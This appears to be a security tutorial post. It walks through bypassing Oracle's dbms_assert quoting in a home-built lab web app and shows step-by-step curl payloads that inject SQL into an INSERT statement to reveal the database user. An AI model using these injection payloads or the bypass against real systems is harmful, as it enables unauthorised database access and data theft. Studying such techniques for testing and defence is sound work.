The previous post discussed a bug in older versions of the Oracle dbms_assert.enquote_literal method, that could allow an attacker to bypass SQL injection protections, and ex-filtrate system data.
This post will explore a "real-world" dbms_assert bypass scenario, and then explore some non-standard SQL injection approaches.
The Web App
For this example I have built a simple (and very ugly) web application, that allows a user to insert records in a table, and search records in that table.
The web application is built using modowa with an Oracle XE database on the backend.
Basic Functionality
The application itself is very simple. It allows a user to enter new requests:
It also allows a user to search the existing request on any of the entered fields:
Under the Covers
Looking at the html for the web application we see two AJAX calls that handle the search and insert operations.
<html> <head> <title>Service Request Board</title> <script> function loadRequests() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("open").innerHTML = this.responseText; } }; xhttp.open("GET", "/pls/public/portal.pkg_service_requests.get_requests?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true); xhttp.send(); } function addRequest() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("open").innerHTML = this.responseText; } }; xhttp.open("GET", "/pls/public/portal.pkg_service_requests.add_request?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true); xhttp.send(); } </script> <body onload="loadRequests()"> <div name="title"><h1>Service Request Page</h1></div> <div name="requests"> <h2>Open Requests</h2> <div id="open" name="open"> <!-- load content via ajax --> </div> <div name="form"> <div><span>Type: <input id="p_request_type" type="text"></span></div> <div><span>Name: <input id="p_requestor" type="text"></span></div> <div><span>Email: <input id="p_email" type="text"></span></div> <div><span>Description: <input id="p_description" type="text"></span> <div><span><button name="search" onClick="loadRequests()">Search</button></span> <span><button name="add" onClick="addRequest()">Add Request</button></span></div> </div> </body> </html>
If we curl the two methods seen in java script functions above, we can better follow the service interaction.
curl -v "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN"
curl http://192.168.1.5//pls/public/portal.pkg_service_requests.get_requests?p_description=BAT
Scanning The Application
Now that we have a basic understanding of how the application works, we can run some scans using standard tools like OWASP ZAP and sqlmap. Bear in mind that the insert method (pkg_service_requests.add_request) is vulnerable to SQL injection.
While OWASP ZAP detects that the service is vulnerable to Cross Site Scripting, it does not detect the SQL injection vulnerability.
We even see samples of the ZAP SQL injection attempt in the Service Request application.
Sqlmap fares slightly better than OWASP ZAP. As you can see from the screen shots below, the scanner successfully detects that an Oracle database is used on the backend, and that the input parameters may be vulnerable to injection. However, ultimately sqlmap is not able to form a hook to successfully inject the system.
Bypassing DBMS_ASSERT
The traditional SQL injection approach is to include the entire injection payload into one input parameter, escaping out of the input value by passing a single or double quote.
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN'%20or%201=1"
As we see, this service returns an Oracle error when we attempt this form of injection.
However, as shown in the previous post, if an old version of dbms_assert.enqoute_literal is being used, you can attempt to escape out of the input by passing a single quote (one ' ). In the curl statement below a single quote is passed to the p_email input parameter.
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
Now, instead of a PL/SQL numeric or value error, we see a SQL syntax error: ORA-00917 missing comma. We have found our injection path. However, there is a small problem: Our injection point is inside an insert statement. This means that normal SQL injection approaches like appending to the where clause, or UNION injections will not work, as query data is not returned to the service.
Injecting an Insert Statement
While we cannot use simple SQL injection methods, we can inject Oracle built in variables and functions into the insert statement to glean some information from the system. For instance, the Oracle built in functions USER and SYSDATE will tell us a little bit about the system, and also let us know that our injection path is working.
Manual injection of the service takes some time and trial and error, but successful execution ultimately reveals the name of the database user used for the service connection.
Before we manually inject the service, a quick review of oracle insert syntax, and common oracle insert errors.
With these errors as a reference point, we can run our initial injection:
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
This fails with ORA-00917: missing comma error, and it is pretty easy add a comma:
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"
Resulting in an ORA-01756: quoted string not properly terminated error. We cannot add a single ' to terminate the string without hitting the dbms_assert protections. However we can comment out the trailing quote ' with an oracle comment --:
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"
We now receive ORA-00936: missing expression, as we did not populate that insert column with any data. We will use the Oracle built in USER function to test:
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"
We now see another ORA-00917: missing comma error. This could mean we need to add another record field, or it could mean we are missing a closing parentheses for the insert statement. If we try the later, we see we are successful with the injection.
curl "http://192.168.1.5//pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"
We can see that the final injection statement successfully executes, and the name of the Oracle database user (PORTAL_USER) is revealed.
What to do with an Insert?
It may seem at first that a SQL injection attack on an insert statement has great potential destructive power, but little utility for the ex-filtration of data. The next post will show how you can use a variety methods to query data using an attack vector based on an insert statement.